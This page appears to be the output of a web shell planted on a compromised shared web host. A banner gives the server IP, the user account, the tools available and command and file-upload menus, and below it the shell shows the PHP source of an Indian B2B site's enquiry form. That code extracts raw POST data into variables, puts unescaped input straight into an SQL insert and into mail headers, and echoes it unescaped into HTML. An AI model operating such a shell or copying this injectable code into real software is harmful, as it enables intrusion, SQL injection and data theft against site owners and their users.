Server IP : 103.53.40.154 / Your IP : 3.135.190.244 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/drckjon.in/../irshadwoodenscrap.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("site-header.php");?> <?php if(isset($_POST['EnqSubmit'])){ @extract($_POST); if($_SESSION["code"]!=$_POST['captcha']){ $clrerr="red"; set_session_msg("The Security Code does not match !"); }else{ $sql="insert into tbl_enquiry set enquiry_name='$enquiry_nam', enquiry_comp_name='$enquiry_comp_nam', enquiry_mobile='$enquiry_mobil', enquiry_email='$enquiry_emai', enquiry_address='$enquiry_addres', enquiry_subject='$enquiry_subjec', enquiry_detail='$enquiry_detai', enquiry_source='Enquiry', enquiry_add_date=now()"; db_query($sql); ///////////////****** Mailer to client start here **********************////////////// $hostName = $_SERVER['HTTP_HOST']; $msgmail="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' /> <title>TradeKeyIndia.com-Largest B2B Portal In India</title> </head> <body> <table align='center' cellSpacing='0' cellPadding='0' width='87%' border='1' style='border:1px solid #e61938'> <tbody> <tr> <td vAlign='top' style='background-color:#e61938; padding:10px;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#ffffff; text-align:center; font-weight:bold;' colspan='3' >Enquiry From $hostName</td> </tr> <tr> <td width='30%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Name</strong> </td> <td vAlign='top' width='70%' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_nam</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong> Company Name</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_comp_nam</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Mobile </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_mobil</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Email-Id</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_emai</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Address</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_addres</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Enquiry For </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_subjec</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Detail </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_detai</td> </tr> </tbody> </table> </body> </html>"; $toEmail = $compDATA['admin_email']; $subject = "Enquiry from $hostName"; $from="$enquiry_emai"; $Headers1 = "From: $enquiry_nam<$from>\n"; $Headers1 .= "X-Mailer: PHP/". phpversion(); $Headers1 .= "X-Priority: 3 \n"; $Headers1 .= "MIME-version: 1.0\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.com"); //@mail("amitabh.tradekeyindia@gmail.com", "Subject", "Msg1","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail."<br>"; ///////////////****** Mailer to client end here **********************////////////// ///////////////// Mail To Admin ////////////////////////////////// $mail_to_admin="client_enquiry@tradekeyindia.com"; $sub_admin="Business Enquiry From $hostName"; $mail_admin_body = "$msgmail"; $sender_admin =$enquiry_emai; $headers_admin = "MIME-Version: 1.0" . "\r\n"; $headers_admin .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $headers_admin .= "from: ".$sender_admin."\n"; if($enquiry_emai){ @mail($mail_to_admin,$sub_admin,$mail_admin_body,$headers_admin); } ///////////////// Mail To Admin End////////////////////////////////// $clrerr="green"; set_session_msg("Enquiry form submitted successfully. We will contact you soon."); // header("Location:$site_url/enquiry.html"); // exit; } } ?> <div class="bg7"> <div class="mt10px"> <h3> <p class="gray large"><?=ucwords(strtolower($pgHeading));?></p> </h3> <p class="bdrB1 mt5px"></p> <p class="fr black2"><span class="mr5px"><a href="<?=$site_url?>/index.html">Home</a></span>» <span class="ml5px"><?=ucwords(strtolower($pgHeading));?></span></p> </div> <div class="w300px mt10px fl"> <p class="ml20px"><img src="<?=$site_url?>/images/enquiry.png" alt="Enquiry" title="Enquiry" /></p> <div class="bd mt20px ml20px"> <h3> <p class="p10px bg6 white black1">Contact Us</p> </h3> <p class="bd mt3p "></p> <p class="b xlarge black mt5px ml5px"><?=$compDATA['admin_company_name']?></p> <p class="bd mt5px"></p> <p class="mt5px p2px ml5px"><span class="b black1">Name:</span><span class="ml5px black2"><?=$compDATA['admin_name']?></span></p> <p class="mt5px p2px ml5px"><span class="b black1">Email:</span><span class="ml5px black2"><?=$compDATA['admin_email']?></span></p> <p class="mt5px p2px ml5px"><span class="b black1">Mobile:</span><span class="ml5px black2"><?=$compDATA['admin_mobile']?></span></p> <p><img src="<?=$site_url?>/images/spacer.gif" height="10" /></p> </div> </div> <div class="w690px fl mt10px ml20px"> <div align="center" style="font-size:14px; color:<?=$clrerr?>; font-weight:bold;"> <?=display_sess_msg()?> </div> <form name="ContactFrm" action="" method="post" enctype="multipart/form-data" onsubmit="return EnqValidation();"> <div class=" ml45px bd mr5px radius3"> <div class="mt10px ml10px b xlarge black1">Send Us a Enquiry <p class="bd1 mt5px"></p> </div> <div class="mt5px ml30px"> <div class="w250px p5px fl"> <p> <input type="text" name="enquiry_nam" id="enquiry_nam" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_nam']?>" <? } ?> maxlength="80" class="bd radius4" placeholder="Enter Your Name " style="height:30px;width:240px; padding-left:5px;" /> </p> </div> <div class="w250px p5px fl"> <p> <input type="text" name="enquiry_comp_nam" id="enquiry_comp_nam" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_comp_nam']?>" <? } ?> maxlength="80" class="bd radius4" placeholder="Enter Your Company Name " style="height:30px;width:240px; padding-left:5px;" /> </p> </div> <p class="cb"></p> </div> <div class="mt5px ml30px"> <div class="w250px p5px fl"> <p> <input type="text" name="enquiry_mobil" id="enquiry_mobil" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_mobil']?>" <? } ?> maxlength="15" class="bd radius4" placeholder="Enter Your Mobile No " style="height:30px;width:240px; padding-left:5px;" /> </p> </div> <div class="w250px p5px fl"> <p> <input type="text" name="enquiry_emai" id="enquiry_emai" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_emai']?>" <? } ?> maxlength="80" class="bd radius4" placeholder="Enter Your Email " style="height:30px;width:240px; padding-left:5px;" /> </p> </div> <p class="cb"></p> </div> <div class="mt5px ml30px"> <div class="w450px p5px fl"> <p> <textarea name="enquiry_addres" id="enquiry_addres" class="bd radius2" placeholder="Enter Your Address " style="width:495px; height:80px; padding-left:5px;"><?php if($clrerr=="red"){ ?><?=$_POST['enquiry_addres']?><? } ?></textarea> </p> </div> <p class="cb"></p> </div> <div class="mt5px ml30px"> <div class=" p5px fl"> <p> <input type="text" name="enquiry_subjec" id="enquiry_subjec" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_subjec']?>" <? } ?> maxlength="100" class="bd radius4" placeholder="Enter Enquiry Subject " style="height:30px;width:500px; padding-left:5px;" /> </p> </div> <p class="cb"></p> </div> <div class="mt5px ml30px"> <div class="w450px p5px fl"> <p> <textarea name="enquiry_detai" id="enquiry_detai" class="bd radius2" placeholder="Enter Enquiry Details " style="width:495px; height:80px; padding-left:5px;"><?php if($clrerr=="red"){ ?><?=$_POST['enquiry_detai']?><? } ?></textarea> </p> </div> <p class="cb"></p> </div> <div class="mt5px ml30px"> <div class=" p5px fl"> <p> <input type="text" name="captcha" maxlength="4" autocomplete="off" id="security_cod" class="bd radius4" placeholder="Enter Security Code " style="height:30px;width:407px; padding-left:5px;" /> <span class="ml5px"><img src="<?=$site_url?>/amitabhcaptcha.php" class="vam" width="80" height="31" alt="Captcha" /> </span> </p> </div> <p class="cb"></p> </div> <div class="mt10px ml30px"> <div class="w450px p5px fl"> <input type="submit" name="EnqSubmit" value="Send Enquiry" class="classname1" /> </div> <p class="cb"></p> <p><img src="<?=$site_url?>/images/spacer.gif" height="10" /></p> </div> </div> </form> <p class="cb"></p> </div> <p class="cb"></p> <p><img src="<?=$site_url?>/images/spacer.gif" height="30" /></p> </div> </div> <script type="text/javascript"> function EnqValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('enquiry_nam').value)==0){ alert("Enter Your Name !"); document.getElementById('enquiry_nam').focus(); return false; } if (!document.getElementById('enquiry_nam').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)){ alert("Please enter only alphabets !"); document.getElementById('enquiry_nam').value=''; document.getElementById('enquiry_nam').focus(); return false; } var mobno=trim(document.getElementById('enquiry_mobil').value); if(trim(document.getElementById('enquiry_mobil').value)==0){ alert("Enter your mobile no.!"); document.getElementById('enquiry_mobil').focus(); return false; } if(isNaN(document.getElementById('enquiry_mobil').value)){ alert("Mobile no. should be no.!"); document.getElementById('enquiry_mobil').focus(); return false; } if(mobno.length < 10){ alert("Mobile no. should be 10 digit long !"); document.getElementById('enquiry_mobil').focus(); return false; } var email=trim(document.getElementById('enquiry_emai').value); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if(email=='') { alert('Please Enter Email Id'); document.getElementById('enquiry_emai').focus(); return false; }else if(!email.match(mailformat)){ alert("You have entered an invalid email address!"); document.getElementById('enquiry_emai').focus(); return false; } if(trim(document.getElementById('enquiry_addres').value)==0){ alert("Enter your address !"); document.getElementById('enquiry_addres').focus(); return false; } if(trim(document.getElementById('enquiry_subjec').value)==0){ alert("Enter your enquiry subject !"); document.getElementById('enquiry_subjec').focus(); return false; } if(trim(document.getElementById('enquiry_detai').value)==0){ alert("Enter your enquiry detail !"); document.getElementById('enquiry_detai').focus(); return false; } if(trim(document.getElementById('security_cod').value)==0){ alert("Enter security code !"); document.getElementById('security_cod').focus(); return false; } } </script> <?php include("site-footer.php");?>